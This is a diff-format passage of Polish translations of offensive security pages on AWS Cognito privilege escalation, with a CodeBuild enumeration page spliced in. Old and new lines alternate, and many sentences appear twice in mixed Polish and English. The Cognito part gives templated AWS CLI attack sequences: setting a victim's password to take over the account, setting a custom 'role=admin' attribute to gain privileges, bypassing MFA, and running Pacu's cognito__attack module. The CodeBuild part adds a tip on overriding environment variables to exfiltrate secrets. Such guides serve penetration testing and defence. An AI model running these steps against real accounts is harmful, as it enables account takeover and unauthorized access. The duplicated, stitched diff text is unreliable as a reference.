Ponieważ Cognito może przyznać **IAM role credentials** zarówno **authenticated** jak i **unauthenticated** **users**, jeśli znajdziesz **Identity Pool ID** aplikacji (powinno być w niej zakodowane), możesz uzyskać nowe poświadczenia i w efekcie privesc (w ramach konta AWS, do którego być może wcześniej nie miałeś żadnych poświadczeń).
For more information [**sprawdź tę stronę**](../../aws-unauthenticated-enum-access/index.html#cognito).
Więcej informacji znajdziesz na [**tej stronie**](../../aws-unauthenticated-enum-access/index.html#cognito).
**Potencjalny wpływ:** Bezpośredni privesc do roli usług przypisanej do użytkowników nieuwierzytelnionych (a prawdopodobnie także do tej przypisanej użytkownikom uwierzytelnionym).
**Potencjalny wpływ:** Bezpośrednie privesc do services role przypisanej do unauth users (i prawdopodobnie także do tej przypisanej do auth users).
### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
Dzięki temu uprawnieniu możesz **przyznać dowolną cognito role** użytkownikom uwierzytelnionym/nieuwierzytelnionym aplikacji cognito.
Dzięki temu uprawnieniu możesz **grant any cognito role** dla authenticated/unauthenticated users aplikacji cognito.
```bash
aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
@@ -32,13 +32,13 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
```
Jeśli aplikacja Cognito **nie ma włączonej obsługi użytkowników nieuwierzytelnionych** może być również potrzebne uprawnienie `cognito-identity:UpdateIdentityPool`, aby to włączyć.
Jeśli aplikacja cognito **nie ma włączonej obsługi użytkowników nieuwierzytelnionych**, może być również wymagane uprawnienie `cognito-identity:UpdateIdentityPool`, aby to włączyć.
**Potencjalny wpływ:** Bezpośredni privesc do dowolnej roli Cognito.
**Potencjalny wpływ:** Direct privesc to any cognito role.
### `cognito-identity:update-identity-pool`
Atakujący posiadający to uprawnienie mógłby np. skonfigurować Cognito User Pool pod swoją kontrolą lub dowolnego innego dostawcę tożsamości, w którym może się zalogować, jako **sposób uzyskania dostępu do tego Cognito Identity Pool**. Wtedy samo **zalogowanie się** u tego dostawcy użytkownika **umożliwi mu dostęp do skonfigurowanej roli authenticated w Identity Pool**.
Atakujący posiadający to uprawnienie mógłby na przykład skonfigurować Cognito User Pool pod swoją kontrolą lub dowolnego innego identity provider, w którym może się zalogować jako **sposób dostępu do tego Cognito Identity Pool**. Następnie samo **zalogowanie się** w tym providerze **pozwoli mu uzyskać dostęp do skonfigurowanej roli uwierzytelnionej w Identity Pool**.
```bash
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
@@ -61,7 +61,7 @@ aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
```
Można t**nadużyć tego uprawnienia, aby umożliwić basic auth**:
Można równi**nadużyć tego uprawnienia, aby umożliwić basic auth**:
```bash
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
@@ -69,40 +69,40 @@ aws cognito-identity update-identity-pool \
--allow-unauthenticated-identities
--allow-classic-flow
```
**Potencjalny wpływ**: Kompromitacja skonfigurowanej uwierzytelnionej roli IAM w ramach identity pool.
**Potencjalny wpływ**: Kompromitacja skonfigurowanej uwierzytelnionej roli IAM wewnątrz identity pool.
### `cognito-idp:AdminAddUserToGroup`
To uprawnienie pozwala **dodać użytkownika Cognito do grupy Cognito**, dlatego atakujący mógłby nadużyć tego uprawnienia, aby dodać użytkownika, którego kontroluje, do innych grup z **lepszymi** uprawnieniami lub **innymi rolami IAM**:
To uprawnienie umożliwia **dodanie użytkownika Cognito do grupy Cognito**, w związku z tym atakujący mógłby nadużyć tego uprawnienia, aby dodać kontrolowanego przez siebie użytkownika do innych grup z **lepszymi** uprawnieniami lub **różnymi rolami IAM**:
```bash
aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>
```
**Potencjalny wpływ:** Privesc do innych grup Cognito oraz ról IAM przypisanych do User Pool Groups.
**Potencjalny wpływ:** Privesc do innych grup Cognito i ról IAM przypisanych do User Pool Groups.
### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
Atakujący posiadający te uprawnienia mógłby **utworzyć/zaktualizować grupy** z **każdą IAM rolą, która może być użyta przez skompromitowany Cognito Identity Provider** i uczynić skompromitowanego użytkownika częścią grupy, uzyskując dostęp do wszystkich tych ról:
Atakujący posiadający te uprawnienia może **utworzyć/zmodyfikować grupy** z **każdą rolą IAM, która może być użyta przez compromised Cognito Identity Provider** i dodać compromised user do grupy, uzyskując dostęp do wszystkich tych ról:
```bash
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
```
**Potencjalny wpływ:** Privesc do innych Cognito IAM roles.
**Potencjalny wpływ:** Privesc to other Cognito IAM roles.
### `cognito-idp:AdminConfirmSignUp`
To uprawnienie pozwala **zweryfikować rejestrację**. Domyślnie każdy może zarejestrować się w Cognito applications; jeśli to jest włączone, użytkownik może utworzyć konto z dowolnymi danymi i zweryfikować je przy użyciu tego uprawnienia.
To uprawnienie pozwala **potwierdzić rejestrację**. Domyślnie w aplikacjach Cognito każdy może się zarejestrować; jeśli to pozostawiono, użytkownik może utworzyć konto z dowolnymi danymi i zweryfikować je przy użyciu tego uprawnienia.
```bash
aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>
```
**Potencjalny wpływ:** Indirect privesc do identity pool IAM role dla authenticated users, jeśli możesz zarejestrować nowego użytkownika. Indirect privesc do innych funkcji aplikacji poprzez możliwość potwierdzania dowolnego konta.
**Potencjalny wpływ:** Pośrednie privesc do identity pool IAM role dla authenticated users, jeśli możesz zarejestrować nowego użytkownika. Pośrednie privesc do innych funkcjonalności aplikacji poprzez możliwość potwierdzenia dowolnego konta.
### `cognito-idp:AdminCreateUser`
To uprawnienie pozwala attackerowi utworzyć nowego użytkownika w user pool. Nowy użytkownik jest tworzony jako enabled, jednak będzie musiał zmienić swoje hasło.
To uprawnienie pozwala attackerowi utworzyć nowego użytkownika w user pool. Nowy użytkownik jest tworzony jako enabled, ale będzie musiał zmienić swoje hasło.
```bash
aws cognito-idp admin-create-user \
--user-pool-id <value> \
@@ -111,25 +111,25 @@ aws cognito-idp admin-create-user \
[--validation-data <value>]
[--temporary-password <value>]
```
**Potencjalny wpływ:** Bezpośredni privesc do identity pool IAM role dla uwierzytelnionych użytkowników. Pośredni privesc do innych funkcjonalności aplikacji umożliwiających tworzenie dowolnego użytkownika
**Potential Impact:** Bezpośredni privesc do identity pool IAM role dla uwierzytelnionych użytkowników. Pośredni privesc do innych funkcji aplikacji umożliwiający tworzenie dowolnego użytkownika
### `cognito-idp:AdminEnableUser`
To uprawnienie może pomóc w bardzo rzadkim scenariuszu, gdy atakujący znalazł dane logowania wyłączonego użytkownika i musi je **ponownie włączyć**.
To uprawnienie może pomóc w bardzo rzadkim scenariuszu, w którym atakujący znalazł poświadczenia dezaktywowanego użytkownika i musi go ponownie **aktywować**.
```bash
aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>
```
**Potencjalny wpływ:** Pośrednie privesc do identity pool IAM role dla uwierzytelnionych użytkowników oraz przejęcie uprawnień użytkownika, jeśli atakujący posiadałby credentials wyłączonego użytkownika.
**Potencjalny wpływ:** Pośrednie privesc do identity pool IAM role dla authenticated users oraz uprawnienia użytkownika, jeśli atakujący miał poświadczenia dla disabled user.
### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
To uprawnienie pozwala zalogować się za pomocą [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Więcej informacji w podanym linku.
To uprawnienie pozwala zalogować się przy użyciu [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Więcej informacji znajdziesz pod linkiem.
### `cognito-idp:AdminSetUserPassword`
To uprawnienie pozwoli atakującemu **zmienić hasło dowolnego użytkownika**, umożliwiając mu podszycie się pod dowolnego użytkownika (który nie ma włączonego MFA).
To uprawnienie pozwoli atakującemu **set a known password for any user**, co zwykle skutkuje **direct account takeover** (zwłaszcza jeśli ofiara nie ma włączonego MFA, lub MFA nie jest egzekwowane dla danego auth flow/client).
```bash
aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
@@ -137,18 +137,43 @@ aws cognito-idp admin-set-user-password \
--password <value> \
--permanent
```
**Potential Impact:** Bezpośredni privesc do potencjalnie dowolnego użytkownika, czyli dostęp do wszystkich grup, których każdy użytkownik jest członkiem, oraz dostęp do Identity Pool authenticated IAM role.
Typowy przebieg:
```bash
REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
VICTIM_USERNAME="<victim_username_or_email>"
NEW_PASS='P@ssw0rd-ChangeMe-123!'
# 1) Set a permanent password for the victim (takeover primitive)
aws cognito-idp admin-set-user-password \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$VICTIM_USERNAME" \
--password "$NEW_PASS" \
--permanent
# 2) Login as the victim against a User Pool App Client (doesn't require AWS creds)
CLIENT_ID="<user_pool_app_client_id>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$VICTIM_USERNAME,PASSWORD=$NEW_PASS"
```
Powiązane uprawnienie: `cognito-idp:AdminResetUserPassword` może zostać użyte do wymuszenia procesu resetu hasła dla ofiary (wpływ zależy od tego, jak zaimplementowano odzyskiwanie hasła oraz co atakujący może przechwycić lub kontrolować).
**Potential Impact:** Przejęcie kont dowolnych użytkowników; dostęp do uprawnień warstwy aplikacji (groups/roles/claims) oraz wszystkiego po stronie downstream, co ufa Cognito tokens; potencjalny dostęp do Identity Pool authenticated IAM roles.
### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
**AdminSetUserSettings**: Attacker mógłby potencjalnie nadużyć tego uprawnienia, aby ustawić telefon komórkowy będący pod jego kontrolą jako **SMS MFA of a user**.
**AdminSetUserSettings**: Atakujący mógłby potencjalnie nadużyć tego uprawnienia, aby ustawić numer telefonu komórkowego kontrolowany przez siebie jako **SMS MFA of a user**.
```bash
aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>
```
**SetUserMFAPreference:** Podobnie jak poprzednie, to uprawnienie może być użyte do ustawienia preferencji MFA użytkownika, co pozwala na bypass ochrony MFA.
**SetUserMFAPreference:** Podobnie jak poprzednie, to uprawnienie może być użyte do ustawienia preferencji MFA użytkownika, aby bypassować ochronę MFA.
```bash
aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
@@ -156,7 +181,7 @@ aws cognito-idp admin-set-user-mfa-preference \
--username <value> \
--user-pool-id <value>
```
**SetUserPoolMfaConfig**: Podobnie jak poprzednie, to uprawnienie może być użyte do ustawienia preferencji MFA dla user pool, aby umożliwić bypass ochrony MFA.
**SetUserPoolMfaConfig**: Podobnie jak poprzednie, to uprawnienie może być użyte do ustawienia preferencji MFA w user pool, aby obejść ochronę MFA.
```bash
aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
@@ -164,40 +189,63 @@ aws cognito-idp set-user-pool-mfa-config \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]
```
**UpdateUserPool:** Możliwe jest także zaktualizowanie user pool, aby zmienić politykę MFA. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
**UpdateUserPool:** Możliwe jest również zaktualizowanie User Pool, aby zmienić politykę MFA. [Sprawdź CLI tutaj](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
**Potential Impact:** Pośrednie privesc do potencjalnie dowolnego użytkownika, którego poświadczenia zna atakujący; może to pozwolić na obejście ochrony MFA.
**Potencjalny wpływ:** Pośredni privesc dla potencjalnie dowolnego użytkownika, którego attacker zna credentials, co może pozwolić na obejście ochrony MFA.
### `cognito-idp:AdminUpdateUserAttributes`
Atakujący z tym uprawnieniem mógłby zmienić adres e-mail lub numer telefonu lub dowolny inny atrybut użytkownika, którym zarządza, aby spróbować uzyskać więcej uprawnień w aplikacji zależnej.\
To pozwala zmienić adres e-mail lub numer telefonu i oznaczyć go jako zweryfikowany.
Attacker z tym uprawnieniem może zmienić **dowolny modyfikowalny atrybut** użytkownika User Pool (w tym atrybuty `custom:*`), aby spróbować uzyskać uprawnienia w bazowej aplikacji.
Powszechnie występujący, wysokiego wpływu wzorzec to **claim-based RBAC** zaimplementowany przy użyciu **atrybutów niestandardowych** (na przykład `custom:role=admin`). Jeśli aplikacja ufa temu claimowi, zaktualizowanie go, a następnie ponowne uwierzytelnienie może obejść autoryzację bez modyfikowania aplikacji.
```bash
aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>
```
**Potencjalny wpływ:** Potencjalne pośrednie privesc w aplikacji bazowej korzystającej z Cognito User Pool, która przyznaje uprawnienia na podstawie atrybutów użytkownika.
Przykład: podnieś swoją role i odśwież tokens:
```bash
REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
USERNAME="<your_username>"
# 1) Change the RBAC attribute (example)
aws cognito-idp admin-update-user-attributes \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$USERNAME" \
--user-attributes Name="custom:role",Value="admin"
# 2) Re-authenticate to obtain a token with updated claims
CLIENT_ID="<user_pool_app_client_id>"
PASSWORD="<your_password>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$USERNAME,PASSWORD=$PASSWORD"
```
**Potencjalny wpływ:** Pośrednie privesc w aplikacjach ufających atrybutom/claims Cognito przy autoryzacji; możliwość modyfikacji innych atrybutów istotnych dla bezpieczeństwa (na przykład ustawienie `email_verified` lub `phone_number_verified` na `true` może mieć znaczenie w niektórych aplikacjach).
### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
Atakujący z tym uprawnieniem może **utworzyć nowy User Pool Client mniej restrykcyjny** niż już istniejące klienty puli. Na przykład nowy client mógłby umożliwiać dowolny sposób uwierzytelniania, nie mieć żadnego secret, mieć wyłączone unieważnianie tokenów, pozwalać na dłuższy okres ważności tokenów...
Atakujący posiadający to uprawnienie może **utworzyć nowy User Pool Client o mniejszych ograniczeniach** niż już istniejące pool clients. Na przykład nowy klient może zezwalać na dowolne metody uwierzytelniania, nie mieć żadnego secret, mieć wyłączone unieważnianie tokenów i pozwalać, by tokeny były ważne przez dłuższy okres...
To samo można osiągnąć, jeśli zamiast tworzenia nowego clienta, **zmodyfikowany zostanie istniejący**.
To samo można zrobić, jeśli zamiast tworzenia nowego klienta, **istniejący zostanie zmodyfikowany**.
W [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (lub w [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) zobaczysz wszystkie opcje sprawdź to!
W [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (lub w [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) możesz zobaczyć wszystkie opcje, sprawdź!
```bash
aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]
```
**Potential Impact:** Potencjalny pośredni privesc dla użytkownika autoryzowanego przez Identity Pool używanego przez User Pool poprzez utworzenie nowego klienta, który poluzowuje środki bezpieczeństwa i umożliwia atakującemu zalogowanie się jako użytkownik, którego udało mu się utworzyć.
**Potencjalny wpływ:** Potencjalne pośrednie privesc do Identity Pool authorized user używanego przez User Pool poprzez utworzenie nowego clienta, który rozluźnia środki bezpieczeństwa i umożliwia attackerowi zalogowanie się przy użyciu użytkownika, którego udało mu się utworzyć.
### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
Atakujący może wykorzystać to uprawnienie do tworzenia użytkowników przez przesłanie pliku csv z nowymi użytkownikami.
Attacker mógłby nadużyć tego uprawnienia, aby tworz użytkowników, przesyłając plik csv z nowymi użytkownikami.
```bash
# Create a new import job
aws cognito-idp create-user-import-job \
@@ -214,13 +262,13 @@ aws cognito-idp start-user-import-job \
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
```
(W przypadku, gdy utworzysz nowe zadanie importu możesz również potrzebować uprawnienia iam passrole — nie testowałem tego jeszcze).
(W przypadku tworzenia nowego import job możesz również potrzebować uprawnienia iam passrole — nie testowałem tego jeszcze).
**Potencjalny wpływ:** Bezpośredni privesc do identity pool IAM role dla uwierzytelnionych użytkowników. Pośredni privesc do innych funkcjonalności aplikacji umożliwiających tworzenie dowolnego użytkownika.
**Potencjalny wpływ:** Bezpośredni privesc do roli IAM identity pool dla uwierzytelnionych użytkowników. Pośredni privesc do innych funkcji aplikacji umożliwiający tworzenie dowolnego użytkownika.
### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
Atakujący mógłby utworzyć nowego dostawcę tożsamości, aby następnie móc **login through this provider**.
Atakujący mógłby utworzyć nowego identity provider, aby następnie móc **zalogować się przez tego providera**.
```bash
aws cognito-idp create-identity-provider \
--user-pool-id <value> \
@@ -230,36 +278,36 @@ aws cognito-idp create-identity-provider \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]
```
**Potencjalny wpływ:** Bezpośredni privesc do roli IAM identity pool dla uwierzytelnionych użytkowników. Pośredni privesc do innych funkcji aplikacji pozwalający na tworzenie dowolnego użytkownika.
**Potencjalny wpływ:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user.
### cognito-sync:\* Analiza
To bardzo częste uprawnienie domyślnie w rolach Cognito Identity Pools. Nawet jeśli wildcard w uprawnieniach zawsze wygląda źle (szczególnie pochodzący od AWS), **nadane uprawnienia nie są szczególnie przydatne z perspektywy atakującego**.
This is a very common permission by default in roles of Cognito Identity Pools. Even if a wildcard in a permissions always looks bad (specially coming from AWS), the **given permissions aren't super useful from an attackers perspective**.
To uprawnienie pozwala na odczyt informacji o Identity Pools oraz Identity IDs wewnątrz Identity Pools (co nie jest informacją wrażliwą).\
Identity IDs might have [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) assigned to them, which are information of the sessions (AWS define it like a **saved game**). Może być możliwe, że zawierają jakiś rodzaj informacji wrażliwych (ale prawdopodobieństwo jest dość niskie). W [**enumeration page**](../../aws-services/aws-cognito-enum/index.html) znajdziesz informacje, jak uzyskać dostęp do tych danych.
This permission allows to read use information of Identity Pools and Identity IDs inside Identity Pools (which isn't sensitive info).\
Identity IDs might have [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) assigned to them, which are information of the sessions (AWS define it like a **saved game**). It might be possible that this contain some kind of sensitive information (but the probability is pretty low). You can find in the [**enumeration page**](../../aws-services/aws-cognito-enum/index.html) how to access this information.
Atakujący mógłby też użyć tych uprawnień, aby **enroll himself to a Cognito stream that publish changes** na tych datasetach lub do **lambda that triggers on cognito events**. Nie widziałem tego w użyciu i nie spodziewałbym się tutaj informacji wrażliwych, ale nie jest to niemożliwe.
An attacker could also use these permissions to **enroll himself to a Cognito stream that publish changes** on these datases or a **lambda that triggers on cognito events**. I haven't seen this being used, and I wouldn't expect sensitive information here, but it isn't impossible.
### Automatyczne narzędzia
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, teraz zawiera moduły "cognito__enum" i "cognito__attack", które automatyzują enumerację wszystkich zasobów Cognito w koncie i wskazują słabe konfiguracje, user attributes używane do kontroli dostępu itd., oraz automatyzują tworzenie użytkowników (w tym wsparcie MFA) i privilege escalation oparte na modyfikowalnych custom attributes, usable identity pool credentials, assumable roles in id tokens, itd.
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.
For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page.
#### Użycie
Przykładowe użycie cognito__attack do próby utworzenia użytkownika i wszystkich wektorów privesc przeciwko danemu identity pool i user pool client:
Sample cognito\_\_attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:
```bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
```
Przykładowe użycie cognito__enum do zebrania wszystkich user pools, user pool clients, identity pools, users itp. widocznych w bieżącym koncie AWS:
Przykładowe użycie cognito__enum do zebrania wszystkich user pools, user pool clients, identity pools, users itp. widocznych na bieżącym koncie AWS:
```bash
Pacu (new:test) > run cognito__enum
```
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) jest narzędziem CLI w Pythonie, które implementuje różne ataki na Cognito, w tym privesc escalation.
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) to narzędzie CLI w pythonie, które implementuje różne ataki na Cognito, w tym privesc escalation.
#### Instalacja
```bash
@@ -269,6 +317,6 @@ $ pip install cognito-scanner
```bash
$ cognito-scanner --help
```
Aby uzyskać więcej informacji, sprawdź [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
Więcej informacji znajdziesz na [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,32 +1,32 @@
# AWS - Codebuild Enum
# AWS - Codebuild Enumeracja
{{#include ../../../banners/hacktricks-training.md}}
## CodeBuild
AWS **CodeBuild** jest uznawany za **w pełni zarządzaną usługę ciągłej integracji**. Głównym celem tej usługi jest automatyzacja sekwencji kompilacji kodu źródłowego, wykonywania testów i pakowania oprogramowania do celów wdrożeniowych. Główną korzyścią oferowaną przez CodeBuild jest jego zdolność do uwolnienia użytkowników od potrzeby provisionowania, zarządzania i skalowania serwerów budowlanych. Ta wygoda wynika z faktu, że sama usługa zarządza tymi zadaniami. Kluczowe funkcje AWS CodeBuild obejmują:
AWS **CodeBuild** jest uznawany za **w pełni zarządzaną usługę ciągłej integracji**. Głównym celem tej usługi jest zautomatyzowanie procesu kompilacji kodu źródłowego, wykonywania testów i pakowania oprogramowania do wdrożenia. Największą zaletą CodeBuild jest to, że odciąża użytkowników od konieczności provisionowania, zarządzania i skalowania serwerów buildowych. Jest tak, ponieważ sama usługa zarządza tymi zadaniami. Do kluczowych funkcji AWS CodeBuild należą:
1. **Zarządzana usługa**: CodeBuild zarządza i skaluje serwery budowlane, uwalniając użytkowników od konserwacji serwerów.
2. **Ciągła integracja**: Integruje się z przepływem pracy rozwoju i wdrożenia, automatyzując fazy budowy i testowania procesu wydania oprogramowania.
3. **Produkcja pakietów**: Po fazach budowy i testowania przygotowuje pakiety oprogramowania, czyniąc je gotowymi do wdrożenia.
1. **Zarządzana usługa**: CodeBuild zarządza i skaluje serwery buildowe, zwalniając użytkowników z obowiązku utrzymania serwerów.
2. **Ciągła integracja**: Integruje się z procesem rozwoju i wdrażania, automatyzując fazy budowania i testowania w procesie wydawniczym.
3. **Produkcja pakietów**: Po fazach budowania i testowania przygotowuje paczki oprogramowania gotowe do wdrożenia.
AWS CodeBuild bezproblemowo integruje się z innymi usługami AWS, zwiększając efektywność i niezawodność pipeline'u CI/CD (Ciągła Integracja/Ciągłe Wdrożenie).
AWS CodeBuild płynnie integruje się z innymi usługami AWS, zwiększając wydajność i niezawodność pipeline'u CI/CD (Ciągła integracja/Ciągłe wdrażanie).
### **Github/Gitlab/Bitbucket Credentials**
### **Github/Gitlab/Bitbucket Poświadczenia**
#### **Domyślne poświadczenia źródłowe**
#### **Domyślne poświadczenia źródła**
To jest opcja legacy, w której możliwe jest skonfigurowanie pewnych **dostępów** (jak token Github lub aplikacja), które będą **dzielone między projektami codebuild**, aby wszystkie projekty mogły korzystać z tej skonfigurowanej grupy poświadczeń.
To opcja legacy, w której można skonfigurować pewien **dostęp** (np. token Github lub aplikację), który będzie **współdzielony między projektami codebuild**, dzięki czemu wszystkie projekty mogą używać tego skonfigurowanego zestawu poświadczeń.
Przechowywane poświadczenia (tokeny, hasła...) są **zarządzane przez codebuild** i nie ma publicznego sposobu na ich odzyskanie z interfejsów API AWS.
Przechowywane poświadczenia (tokeny, hasła...) są **zarządzane przez codebuild** i nie istnieje publiczny sposób ich pobrania za pomocą AWS API.
#### Niestandardowe poświadczenie źródłowe
#### Niestandardowe poświadczenia źródła
W zależności od platformy repozytoriów (Github, Gitlab i Bitbucket) oferowane są różne opcje. Ale ogólnie, każda opcja, która wymaga **przechowywania tokena lub hasła, przechowa je jako sekret w menedżerze sekretów**.
W zależności od platformy repozytorium (Github, Gitlab i Bitbucket) dostępne są różne opcje. Jednak ogólnie każda opcja, która wymaga **przechowania tokena lub hasła, zapisze go jako secret w secrets manager**.
To pozwala **różnym projektom codebuild korzystać z różnych skonfigurowanych dostępów** do dostawców zamiast korzystać tylko z skonfigurowanego domyślnego.
Pozwala to na to, by **różne projekty codebuild mogły używać różnych skonfigurowanych dostępów** do dostawców zamiast korzystać tylko z domyślnie skonfigurowanego.
### Enumeration
### Enumeracja
```bash
# List external repo creds (such as github tokens)
## It doesn't return the token but just the ARN where it's located
@@ -47,27 +47,30 @@ aws codebuild list-build-batches-for-project --project-name <p_name>
aws codebuild list-reports
aws codebuild describe-test-cases --report-arn <ARN>
```
### Privesc
> [!TIP]
> Jeśli masz `codebuild:StartBuild`, pamiętaj, że często możesz nadpisać zmienne środowiskowe podczas builda (`--environment-variables-override`). To wystarczy w niektórych atakach nawet bez `UpdateProject` lub nadpisania `buildspec` (na przykład: przekierowanie artifact/upload buckets w celu eksfiltracji sekretów, albo nadużycie language/runtime env vars do wykonania poleceń).
Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień codebuild, aby eskalować uprawnienia**:
### Eskalacja uprawnień
Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień codebuild w celu eskalacji uprawnień**:
{{#ref}}
../aws-privilege-escalation/aws-codebuild-privesc/README.md
{{#endref}}
### Post Exploitation
### Działania po eksploatacji
{{#ref}}
../aws-post-exploitation/aws-codebuild-post-exploitation/
{{#endref}}
### Unauthenticated Access
### Dostęp bez uwierzytelnienia
{{#ref}}
../aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md
{{#endref}}
## References
## Źródła
- [https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html](https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html)